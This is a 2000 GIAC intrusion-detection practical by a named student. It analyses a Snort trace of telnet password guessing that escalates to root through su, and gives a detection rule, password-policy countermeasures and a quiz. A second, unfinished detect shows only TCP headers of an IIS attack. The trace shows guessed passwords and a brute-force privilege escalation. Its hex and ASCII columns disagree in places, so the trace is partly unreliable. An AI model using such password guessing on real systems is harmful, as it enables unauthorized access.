Global Information Assurance Certification Paper

Andrew G. Siske Jr.

GIAC Intrusion Detection Practical Assignment for SANS Security DC 2000
July 5 – 10, 2000

Assignment #1 - Detect # 1 - Top ten – Password Guessing: (back to top)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
08/02-16:14:58.709865 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13651  DF
**S***** Seq: 0x854B9C28   Ack: 0x0   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 17549234 0 NOP WS: 0

08/02-16:14:58.711219 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2370  DF
**S***A* Seq: 0x20AFA5DD   Ack: 0x854B9C29   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 141595869 17549234 NOP WS: 0
08/02-16:14:58.840740 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13657  DF
*****PA* Seq: 0x854B9CA8   Ack: 0x20AFA614   Win: 0x7D78
TCP Options => NOP NOP TS: 17549247 141595882
FF FC 01                                        ...

08/02-16:14:58.855290 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2383  DF
*****PA* Seq: 0x20AFA614   Ack: 0x854B9CAB   Win: 0x7D78
TCP Options => NOP NOP TS: 141595883 17549247
FF FB 01 0D 0A 52 65 64 20 48 61 74 20 4C 69 6E  .....Red Hat Lin
75 78 20 72 65 6C 65 61 73 65 20 36 2E 32 20 28  ux release 6.2 (
5A 6F 6F 74 29 0D 0A 4B 65 72 6E 65 6C 20 32 2E  Zoot)..Kernel 2.
32 2E 31 34 2D 35 2E 30 20 6F 6E 20 61 6E 20 69  2.14-5.0 on an i
35 38 36 0D 0A                                   586..
08/02-16:14:59.022880 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2385  DF
*****PA* Seq: 0x20AFA659   Ack: 0x854B9CAE   Win: 0x7D78
TCP Options => NOP NOP TS: 141595900 17549249
6C 6F 67 69 6E 3A 20                            login:


08/02-16:15:01.102558 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13660  DF
*****PA* Seq: 0x854B9CAE   Ack: 0x20AFA660   Win: 0x7D78
TCP Options => NOP NOP TS: 17549473 141595900
6A                                              p

08/02-16:15:01.104479 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2386  DF
*****PA* Seq: 0x20AFA660   Ack: 0x854B9CAF   Win: 0x7D78
TCP Options => NOP NOP TS: 141596108 17549473
6A                                              p

08/02-16:15:01.182173 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13662  DF
*****PA* Seq: 0x854B9CAF   Ack: 0x20AFA661   Win: 0x7D78
TCP Options => NOP NOP TS: 17549481 141596108
6F                                              a

08/02-16:15:01.183731 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2387  DF
*****PA* Seq: 0x20AFA661   Ack: 0x854B9CB0   Win: 0x7D78
TCP Options => NOP NOP TS: 141596116 17549481
6F                                              a

08/02-16:15:01.502553 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13664  DF
*****PA* Seq: 0x854B9CB0   Ack: 0x20AFA662   Win: 0x7D78
TCP Options => NOP NOP TS: 17549513 141596116
65                                              t

08/02-16:15:01.504264 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2388  DF
*****PA* Seq: 0x20AFA662   Ack: 0x854B9CB1   Win: 0x7D78
TCP Options => NOP NOP TS: 141596148 17549513
65                                              t

08/02-16:15:01.926572 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2390  DF
```

```
*****PA* Seq: 0x20AFA665   Ack: 0x854B9CB3   Win: 0x7D78
TCP Options => NOP NOP TS: 141596190 17549551
50 61 73 73 77 6F 72 64 3A 20                    Password:

08/02-16:15:02.615925 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13669  DF
*****PA* Seq: 0x854B9CB3   Ack: 0x20AFA66F   Win: 0x7D78
TCP Options => NOP NOP TS: 17549624 141596190
70                                               p

08/02-16:15:02.743854 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13670  DF
*****PA* Seq: 0x854B9CB4   Ack: 0x20AFA66F   Win: 0x7D78
TCP Options => NOP NOP TS: 17549637 141596261
61                                               a

08/02-16:15:02.960280 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13671  DF
*****PA* Seq: 0x854B9CB5   Ack: 0x20AFA66F   Win: 0x7D78
TCP Options => NOP NOP TS: 17549659 141596274
73                                               s

08/02-16:15:03.088309 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13672  DF
*****PA* Seq: 0x854B9CB6   Ack: 0x20AFA66F   Win: 0x7D78
TCP Options => NOP NOP TS: 17549672 141596296
73                                               s

08/02-16:15:06.330520 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2396  DF
*****PA* Seq: 0x20AFA671   Ack: 0x854B9CB9   Win: 0x7D78
TCP Options => NOP NOP TS: 141596631 17549925
4C 6F 67 69 6E 20 69 6E 63 6F 72 72 65 63 74 0D  Login incorrect.
0A 0D 0A                                         ...

08/02-16:15:06.346260 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2397  DF
*****PA* Seq: 0x20AFA684   Ack: 0x854B9CB9   Win: 0x7D78
TCP Options => NOP NOP TS: 141596632 17549998
6C 6F 67 69 6E 3A 20                             login:

08/02-16:15:09.888369 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13677  DF
*****PA* Seq: 0x854B9CB9   Ack: 0x20AFA68B   Win: 0x7D78
TCP Options => NOP NOP TS: 17550352 141596632
6A                                               p

08/02-16:15:09.890769 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2398  DF
*****PA* Seq: 0x20AFA68B   Ack: 0x854B9CBA   Win: 0x7D78
TCP Options => NOP NOP TS: 141596987 17550352
6A                                               p

08/02-16:15:09.976003 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13679  DF
*****PA* Seq: 0x854B9CBA   Ack: 0x20AFA68C   Win: 0x7D78
TCP Options => NOP NOP TS: 17550360 141596987
6F                                               a

08/02-16:15:09.978174 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2399  DF
*****PA* Seq: 0x20AFA68C   Ack: 0x854B9CBB   Win: 0x7D78
TCP Options => NOP NOP TS: 141596996 17550360
6F                                               a

08/02-16:15:10.128016 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13681  DF
*****PA* Seq: 0x854B9CBB   Ack: 0x20AFA68D   Win: 0x7D78
TCP Options => NOP NOP TS: 17550376 141596996
65                                               t

08/02-16:15:10.129565 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2400  DF
*****PA* Seq: 0x20AFA68D   Ack: 0x854B9CBC   Win: 0x7D78
TCP Options => NOP NOP TS: 141597011 17550376
65                                               t


08/02-16:15:10.320468 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2402  DF
*****PA* Seq: 0x20AFA690   Ack: 0x854B9CBE   Win: 0x7D78
TCP Options => NOP NOP TS: 141597030 17550392
50 61 73 73 77 6F 72 64 3A 20                    Password:

08/02-16:15:10.937202 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13686  DF
*****PA* Seq: 0x854B9CBE   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550457 141597030
70                                               p

08/02-16:15:11.064847 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13687  DF
*****PA* Seq: 0x854B9CBF   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550469 141597094
61                                               a

08/02-16:15:11.273044 guesser.org:1253 -> theunix.com:23
```

```
TCP TTL:64 TOS:0x0 ID:13688  DF
*****PA* Seq: 0x854B9CC0   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550490 141597106
73                                              s

08/02-16:15:11.393177 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13689  DF
*****PA* Seq: 0x854B9CC1   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550502 141597127
73                                              s

08/02-16:15:11.569347 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13690  DF
*****PA* Seq: 0x854B9CC2   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550520 141597139
77                                              w

08/02-16:15:11.721559 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13691  DF
*****PA* Seq: 0x854B9CC3   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550535 141597157
6F                                              o

08/02-16:15:11.825616 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13692  DF
*****PA* Seq: 0x854B9CC4   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550545 141597172
72                                              r

08/02-16:15:11.961762 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13693  DF
*****PA* Seq: 0x854B9CC5   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550559 141597182
64                                              d

08/02-16:15:13.046420 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2412  DF
*****PA* Seq: 0x20AFA69C   Ack: 0x854B9CC8   Win: 0x7D78
TCP Options => NOP NOP TS: 141597302 17550571
1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65 72 3A 20 2F  .]0;pat@linux: /
68 6F 6D 65 2F 6A 6F 65 07                       home/pat.

08/02-16:15:13.119458 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2413  DF
*****PA* Seq: 0x20AFA6B5   Ack: 0x854B9CC8   Win: 0x7D78
TCP Options => NOP NOP TS: 141597310 17550670
5B 6A 6F 65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24  [pat@linux pat]$
20

08/02-16:15:15.550073 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13698  DF
*****PA* Seq: 0x854B9CC8   Ack: 0x20AFA6C6   Win: 0x7D78
TCP Options => NOP NOP TS: 17550918 141597310
73                                              s

08/02-16:15:15.552357 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2414  DF
*****PA* Seq: 0x20AFA6C6   Ack: 0x854B9CC9   Win: 0x7D78
TCP Options => NOP NOP TS: 141597553 17550918
73                                              s

08/02-16:15:15.806053 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13700  DF
*****PA* Seq: 0x854B9CC9   Ack: 0x20AFA6C7   Win: 0x7D78
TCP Options => NOP NOP TS: 17550943 141597553
75                                              u

08/02-16:15:15.808517 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2415  DF
*****PA* Seq: 0x20AFA6C7   Ack: 0x854B9CCA   Win: 0x7D78
TCP Options => NOP NOP TS: 141597579 17550943
75                                              u

08/02-16:15:16.559017 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13704  DF
*****PA* Seq: 0x854B9CCB   Ack: 0x20AFA6C9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551019 141597592
72                                              r

08/02-16:15:16.561154 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2417  DF
*****PA* Seq: 0x20AFA6C9   Ack: 0x854B9CCC   Win: 0x7D78
TCP Options => NOP NOP TS: 141597654 17551019
72                                              r

08/02-16:15:16.815113 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13706  DF
*****PA* Seq: 0x854B9CCC   Ack: 0x20AFA6CA   Win: 0x7D78
TCP Options => NOP NOP TS: 17551044 141597654
6F                                              o

08/02-16:15:16.817072 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2418  DF
*****PA* Seq: 0x20AFA6CA   Ack: 0x854B9CCD   Win: 0x7D78
TCP Options => NOP NOP TS: 141597680 17551044
6F                                              o
```

```
08/02-16:15:16.943298 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13708  DF
*****PA* Seq: 0x854B9CCD   Ack: 0x20AFA6CB   Win: 0x7D78
TCP Options => NOP NOP TS: 17551057 141597680
6F                                              o

08/02-16:15:16.945149 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2419  DF
*****PA* Seq: 0x20AFA6CB   Ack: 0x854B9CCE   Win: 0x7D78
TCP Options => NOP NOP TS: 141597692 17551057
6F                                              o

08/02-16:15:17.047561 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13710  DF
*****PA* Seq: 0x854B9CCE   Ack: 0x20AFA6CC   Win: 0x7D78
TCP Options => NOP NOP TS: 17551068 141597692
74                                              t

08/02-16:15:17.049416 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2420  DF
*****PA* Seq: 0x20AFA6CC   Ack: 0x854B9CCF   Win: 0x7D78
TCP Options => NOP NOP TS: 141597703 17551068
74                                              t

08/02-16:15:17.607964 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2422  DF
*****PA* Seq: 0x20AFA6CF   Ack: 0x854B9CD1   Win: 0x7D78
TCP Options => NOP NOP TS: 141597759 17551116
50 61 73 73 77 6F 72 64 3A 20                   Password:

08/02-16:15:20.475385 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13715  DF
*****PA* Seq: 0x854B9CD1   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551410 141597759
61                                              a

08/02-16:15:21.043770 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13716  DF
*****PA* Seq: 0x854B9CD2   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551467 141598047
62                                              b

08/02-16:15:21.276032 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13717  DF
*****PA* Seq: 0x854B9CD3   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551490 141598104
63                                              c

08/02-16:15:22.598736 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2427  DF
*****PA* Seq: 0x20AFA6DB   Ack: 0x854B9CD6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598258 17551516
73 75 3A 20                                     su:

08/02-16:15:22.616582 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2428  DF
*****PA* Seq: 0x20AFA6DF   Ack: 0x854B9CD6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598260 17551625
69 6E 63 6F 72 72 65 63 74 20 70 61 73 73 77 6F  incorrect passwo
72 64 0D 0A 1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65  rd...]0;pat@linu
72 3A 20 2F 68 6F 6D 65 2F 6A 6F 65 07 5B 6A 6F  x: /home/pat.[pa
65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24 20        t@linux pat]$

08/02-16:15:23.791011 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13722  DF
*****PA* Seq: 0x854B9CD6   Ack: 0x20AFA71D   Win: 0x7D78
TCP Options => NOP NOP TS: 17551742 141598260
73                                              s

08/02-16:15:23.793077 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2429  DF
*****PA* Seq: 0x20AFA71D   Ack: 0x854B9CD7   Win: 0x7D78
TCP Options => NOP NOP TS: 141598377 17551742
73                                              s

08/02-16:15:23.887274 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13724  DF
*****PA* Seq: 0x854B9CD7   Ack: 0x20AFA71E   Win: 0x7D78
TCP Options => NOP NOP TS: 17551752 141598377
75                                              u

08/02-16:15:23.889117 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2430  DF
*****PA* Seq: 0x20AFA71E   Ack: 0x854B9CD8   Win: 0x7D78
TCP Options => NOP NOP TS: 141598387 17551752
75                                              u

08/02-16:15:24.111269 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13728  DF
*****PA* Seq: 0x854B9CD9   Ack: 0x20AFA720   Win: 0x7D78
TCP Options => NOP NOP TS: 17551774 141598393
72                                              r

08/02-16:15:24.113141 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2432  DF
*****PA* Seq: 0x20AFA720   Ack: 0x854B9CDA   Win: 0x7D78
TCP Options => NOP NOP TS: 141598409 17551774
```

```
72                                              r

08/02-16:15:24.295346 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13730  DF
*****PA* Seq: 0x854B9CDA   Ack: 0x20AFA721   Win: 0x7D78
TCP Options => NOP NOP TS: 17551792 141598409
6F                                              o

08/02-16:15:24.297282 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2433  DF
*****PA* Seq: 0x20AFA721   Ack: 0x854B9CDB   Win: 0x7D78
TCP Options => NOP NOP TS: 141598428 17551792
6F                                              o

08/02-16:15:24.415474 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13732  DF
*****PA* Seq: 0x854B9CDB   Ack: 0x20AFA722   Win: 0x7D78
TCP Options => NOP NOP TS: 17551804 141598428
6F                                              o

08/02-16:15:24.417989 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2434  DF
*****PA* Seq: 0x20AFA722   Ack: 0x854B9CDC   Win: 0x7D78
TCP Options => NOP NOP TS: 141598440 17551804
6F                                              o

08/02-16:15:25.424716 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13734  DF
*****PA* Seq: 0x854B9CDC   Ack: 0x20AFA723   Win: 0x7D78
TCP Options => NOP NOP TS: 17551905 141598440
74                                              t

08/02-16:15:25.426898 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2435  DF
*****PA* Seq: 0x20AFA723   Ack: 0x854B9CDD   Win: 0x7D78
TCP Options => NOP NOP TS: 141598541 17551905
74                                              t

08/02-16:15:26.121307 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2437  DF
*****PA* Seq: 0x20AFA726   Ack: 0x854B9CDF   Win: 0x7D78
TCP Options => NOP NOP TS: 141598610 17551969
50 61 73 73 77 6F 72 64 3A 20                   Password:

08/02-16:15:26.874342 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13739  DF
*****PA* Seq: 0x854B9CDF   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552050 141598610
61                                              a

08/02-16:15:27.122356 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13740  DF
*****PA* Seq: 0x854B9CE0   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552075 141598687
62                                              b

08/02-16:15:27.306653 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13741  DF
*****PA* Seq: 0x854B9CE1   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552094 141598712
63                                              c

08/02-16:15:28.075468 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13742  DF
*****PA* Seq: 0x854B9CE2   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552170 141598731
31                                              1

08/02-16:15:28.251800 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13743  DF
*****PA* Seq: 0x854B9CE3   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552188 141598807
32                                              2

08/02-16:15:30.838722 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2444  DF
*****PA* Seq: 0x20AFA732   Ack: 0x854B9CE6   Win: 0x7D78
TCP Options => NOP NOP TS: 141599082 17552329
73 75 3A 20                                     su:

08/02-16:15:30.856703 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2445  DF
*****PA* Seq: 0x20AFA736   Ack: 0x854B9CE6   Win: 0x7D78
TCP Options => NOP NOP TS: 141599084 17552449
69 6E 63 6F 72 72 65 63 74 20 70 61 73 73 77 6F  incorrect passwo
72 64 0D 0A 1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65  rd...]0;pat@linu
72 3A 20 2F 68 6F 6D 65 2F 6A 6F 65 07 5B 6A 6F  x: /home/pat.[pa
65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24 20        t@linux pat]$

08/02-16:15:32.408464 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13748  DF
*****PA* Seq: 0x854B9CE6   Ack: 0x20AFA774   Win: 0x7D78
TCP Options => NOP NOP TS: 17552604 141599084
73                                              s

08/02-16:15:32.410515 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2446  DF
```

```
*****PA* Seq: 0x20AFA774   Ack: 0x854B9CE7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599239 17552604
73                                              s

08/02-16:15:32.512305 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13750  DF
*****PA* Seq: 0x854B9CE7   Ack: 0x20AFA775   Win: 0x7D78
TCP Options => NOP NOP TS: 17552614 141599239
75                                              u

08/02-16:15:32.515016 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2447  DF
*****PA* Seq: 0x20AFA775   Ack: 0x854B9CE8   Win: 0x7D78
TCP Options => NOP NOP TS: 141599249 17552614
75                                              u

008/02-16:15:32.744620 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13754  DF
*****PA* Seq: 0x854B9CE9   Ack: 0x20AFA777   Win: 0x7D78
TCP Options => NOP NOP TS: 17552637 141599256
72                                              r

08/02-16:15:32.746485 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2449  DF
*****PA* Seq: 0x20AFA777   Ack: 0x854B9CEA   Win: 0x7D78
TCP Options => NOP NOP TS: 141599272 17552637
72                                              r

08/02-16:15:32.766415 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13755  DF
******A* Seq: 0x854B9CEA   Ack: 0x20AFA778   Win: 0x7D78
TCP Options => NOP NOP TS: 17552640 141599272

08/02-16:15:32.944842 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13756  DF
*****PA* Seq: 0x854B9CEA   Ack: 0x20AFA778   Win: 0x7D78
TCP Options => NOP NOP TS: 17552657 141599272
6F                                              o

08/02-16:15:32.946763 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2450  DF
*****PA* Seq: 0x20AFA778   Ack: 0x854B9CEB   Win: 0x7D78
TCP Options => NOP NOP TS: 141599293 17552657
6F                                              o

08/02-16:15:33.057049 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13758  DF
*****PA* Seq: 0x854B9CEB   Ack: 0x20AFA779   Win: 0x7D78
TCP Options => NOP NOP TS: 17552669 141599293
6F                                              o

08/02-16:15:33.058912 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2451  DF
*****PA* Seq: 0x20AFA779   Ack: 0x854B9CEC   Win: 0x7D78
TCP Options => NOP NOP TS: 141599304 17552669
6F                                              o

08/02-16:15:33.161003 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13760  DF
*****PA* Seq: 0x854B9CEC   Ack: 0x20AFA77A   Win: 0x7D78
TCP Options => NOP NOP TS: 17552679 141599304
74                                              t

08/02-16:15:33.162856 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2452  DF
*****PA* Seq: 0x20AFA77A   Ack: 0x854B9CED   Win: 0x7D78
TCP Options => NOP NOP TS: 141599314 17552679
74                                              t

08/02-16:15:33.538906 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2454  DF
*****PA* Seq: 0x20AFA77D   Ack: 0x854B9CEF   Win: 0x7D78
TCP Options => NOP NOP TS: 141599352 17552711
50 61 73 73 77 6F 72 64 3A 20                   Password:

08/02-16:15:34.186275 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13765  DF
*****PA* Seq: 0x854B9CEF   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552781 141599352
61                                              a

08/02-16:15:34.196611 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2455  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF0   Win: 0x7D78
TCP Options => NOP NOP TS: 141599418 17552781

08/02-16:15:34.474483 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13766  DF
*****PA* Seq: 0x854B9CF0   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552810 141599418
62                                              b

08/02-16:15:34.682666 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13767  DF
*****PA* Seq: 0x854B9CF1   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552831 141599447
63                                              c
```

```
08/02-16:15:35.019018 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13768  DF
*****PA* Seq: 0x854B9CF2   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552865 141599468
31                                          1

08/02-16:15:35.235422 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13769  DF
*****PA* Seq: 0x854B9CF3   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552886 141599502
32                                          2

08/02-16:15:35.411448 guesser.org:1253 -> theunix.com:23
TCP TTL:64 TOS:0x0 ID:13770  DF
*****PA* Seq: 0x854B9CF4   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552904 141599523
33                                          3

08/02-16:15:36.468510 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2470  DF
*****PA* Seq: 0x20AFA789   Ack: 0x854B9CF7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599645 17552934
1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65 72 3A 20 2F  .]0;pat@linux: /
68 6F 6D 65 2F 6A 6F 65 07                       home/pat.

08/02-16:15:36.524982 theunix.com:23 -> guesser.org:1253
TCP TTL:64 TOS:0x0 ID:2471  DF
*****PA* Seq: 0x20AFA7A2   Ack: 0x854B9CF7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599650 17553012
5B 72 6F 6F 74 40 65 6C 6D 65 72 20 6A 6F 65 5D  [root@linux pat]
23 20                                            #
```

1. **Source of trace**

   My network

2. **Detect was generated by:**

   SNORT Alert (alert tcp $HOME_NET 23 -> !$HOME_NET any (msg:"IDS127 - TELNET - Login Incorrect"; content:"Login incorrect"; logto:"TELNET";)

3. **Probability source address is spoofed.**
   Probability is very low as this attack requires a valid host for the attacker.

4. **Description of attack.**
   The largest security concern known to man…poor passwords. An attacker is able to telnet into a system then is able to SU to ROOT simply by trial and error – password guessing.

5. **Attack Mechanism.**
   By simply guessing passwords, a user (PAT) is able to telnet into a system and then attempt to gain root access. By guessing commonly utilized passwords, PAT is able to gain ROOT access to the system.

6. **Correlation:**
   Discussed by Mr. Northcutt at the SANS DC Conference, this is method of unauthorized access is listed by SANS as a Top Ten most critical threats.

7. **Evidence of active targeting.**
   This attack was targeted at a specific system.

8. **Severity**

   a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
   b. (4 + 5) – (2 + 2) = 5

9. **Defensive Countermeasures**
   Institute a comprehensive password policy that consists of automatically expiring passwords, minumum of 8 alpha-numeric characters, utilize a password checking program when created to ensure compliance. Periodically test the system with password cracking tools (after obtaining written authority first).

10. **Multiple choice question:**
    What is the significance of the word PASSWORD?
    a. It is a password
    b. It is easier not to have one
    c. It should be permanent
    d. Password has 8 letters which should be the minimum length

    D is correct

Assignment #1 - Detect # 2 - Top Ten - Miscrosoft IIS hack (back to top)

```
11:12:31.886736 evilnet.com.1024 > goodweb.com.80: S 2100709625:2100709625(0) win 16060 <mss 1460,sackOK,timestamp 115773 0,nop,wscale 0> (DF)
11:12:31.887102 goodweb.com.80 > evilnet.com.1024: S 67048:67048(0) ack 2100709626 win 8760 <mss 1460> (DF)
```

```
11:12:31.887443 evilnet.com.1024 > goodweb.com.80: . ack 1 win 16060 (DF)
11:12:31.890574 evilnet.com.1024 > goodweb.com.80: P 1:1158(1157) ack 1 win 16060 (DF)
11:12:31.890749 evilnet.com.1024 > goodweb.com.80: F 1158:1158(0) ack 1 win 16060 (DF)
11:12:31.890944 goodweb.com.80 > evilnet.com.1024: . ack 1159 win 7603 (DF)
11:12:36.634401 goodweb.com.1151 > evilnet.com.80: S 67063:67063(0) win 8192 <mss 1460> (DF) [tos 0x10]
11:12:36.634874 evilnet.com.80 > goodweb.com.1151: S 2105650391:2105650391(0) ack 67064 win 16060 <mss 1460> (DF)
